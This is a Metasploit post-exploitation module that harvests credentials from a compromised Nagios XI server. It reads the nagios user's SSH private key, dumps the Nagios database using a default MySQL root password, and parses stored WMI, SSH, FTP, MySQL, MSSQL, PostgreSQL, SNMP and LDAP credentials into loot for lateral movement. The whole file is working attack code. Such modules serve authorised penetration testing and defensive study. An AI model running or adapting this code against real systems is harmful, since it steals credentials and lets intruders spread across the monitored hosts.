## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::Linux::System include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, { 'Name' => 'Nagios XI Enumeration', 'Description' => %q{ NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials, creating opportunities for lateral movement. }, 'License' => MSF_LICENSE, 'Author' => [ 'Cale Smith', # @0xC413 ], 'DisclosureDate' => '2018-04-17', 'Platform' => 'linux', 'SessionTypes' => ['shell', 'meterpreter'] } ) ) register_options([ OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ]) ]) end # save found creds in the MSF DB for easy use # , login) def report_obj(cred, login) return if cred.nil? || login.nil? credential_data = { origin_type: :session, post_reference_name: fullname, session_id: session_db_id, workspace_id: myworkspace_id }.merge(cred) credential_core = create_credential(credential_data) login_data = { core: credential_core, workspace_id: myworkspace_id }.merge(login) create_credential_login(login_data) end # parse out domain realm for windows services def parse_realm(username) userealm = username.split('/') if userealm.count > 1 realm = userealm[0] username = userealm[1] credential_data = { realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: realm, username: username } else credential_data = { username: username } end return credential_data end def run @peer = "#{session.session_host}:#{session.session_port}" @creds = [] @ssh_keys = [] # get nagios SSH private key id_rsa_path = '/home/nagios/.ssh/id_rsa' if file?(id_rsa_path) print_good('Attempting to grab Nagios SSH key') ssh_key = read_file(id_rsa_path) ssh_key_loot = store_loot( 'nagios_ssh_priv_key', 'text/plain', session, ssh_key, nil ) print_status("Nagios SSH key stored in #{ssh_key_loot}") else print_status('No SSH key found') end print_status('Attempting to dump Nagios DB') db_dump_file = "/tmp/#{Rex::Text.rand_text_alpha(6)}" sql_query = %(mysql -u root -p#{datastore['DB_ROOT_PWD']} -e ") sql_query << %|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\"','%22') FROM nagios.nagios_hosts | sql_query << %(INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id ) sql_query << %(INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id ) sql_query << %(WHERE nagios_services.check_command_object_id!=89 ) sql_query << %(ORDER BY nagios_services.check_command_object_id ) sql_query << %(INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\"' LINES TERMINATED BY '\\n' ;") out = cmd_exec(sql_query) if out.match(/error/i) print_error("Could not get DB contents: #{out.gsub(/\n/, ' ')}") return else db_dump = read_file(db_dump_file) print_good('Nagios DB dump successful') # store raw db results, there is likely good stuff in here that we don't parse out db_loot = store_loot( 'nagiosxi_raw_db_dump', 'text/plain', session, db_dump, nil ) print_status("Raw Nagios DB dump #{db_loot}") print_status("Look through the DB dump manually. There could be\ some good loot we didn't parse out.") end CSV.parse(db_dump) do |row| case row[0] when '110' # WMI host = row[1] creds = row[2].split('!') username = creds[0].match(/'(.*?)'/)[1] password = creds[1].match(/'(.*?)'/)[1] user_credential_data = parse_realm(username) credential_data = { private_data: password, private_type: :password }.merge(user_credential_data) login_data = { address: host, port: 135, service_name: 'WMI', protocol: 'tcp' } when '59' # SSH host = row[1] credential_data = { username: 'nagios', private_data: ssh_key, private_type: :ssh_key } login_data = { address: host, port: 22, service_name: 'SSH', protocol: 'tcp' } when '25' # FTP host = row[1] creds = row[2].split('!') username = creds[0] password = creds[1] credential_data = { username: username, private_data: password, private_type: :password } login_data = { address: host, port: 21, service_name: 'FTP', protocol: 'tcp' } when '67' # MYSQL host = row[1] username = row[2].match(/--username=(.*?)\s/)[1] password = row[2].match(/--password=%22(.*?)%22/)[1] credential_data = { username: username, private_data: password, private_type: :password } login_data = { address: host, port: 3306, service_name: 'MySQL', protocol: 'tcp' } when '66' # MSSQL host = row[1] username = row[2].match(/-U '(.*?)'/)[1] password = row[2].match(/-P '(.*?)'/)[1] user_credential_data = parse_realm(username) credential_data = { private_data: password, private_type: :password }.merge(user_credential_data) login_data = { address: host, port: 1433, service_name: 'MSSQL', protocol: 'tcp' } when '76' # POSTGRES host = row[1] username = row[2].match(/--dbuser=(.*?)\s/)[1] password = row[2].match(/--dbpass=%22(.*?)%22/)[1] credential_data = { username: username, private_data: password, private_type: :password } login_data = { address: host, port: 5432, service_name: 'PostgreSQL', protocol: 'tcp' } when '85' # SNMP host = row[1] creds = row[2].split('!') password = ' ' username = creds[0] port = 161 credential_data = { username: username, private_data: password, private_type: :password } login_data = { address: host, port: 161, service_name: 'SNMP', protocol: 'udp' } when '88' # LDAP host = row[1] username = row[2].match(/-D %22(.*?)%22/)[1] password = row[2].match(/-P %22(.*?)%22/)[1] credential_data = { username: username, private_data: password, private_type: :password } login_data = { address: host, port: 389, service_name: 'LDAP', protocol: 'tcp' } else # base case end unless credential_data.nil? || login_data.nil? report_obj(credential_data, login_data) end end print_status("Run 'creds' to see credentials loaded into the MSF DB") # cleanup db dump register_file_for_cleanup(db_dump_file) end end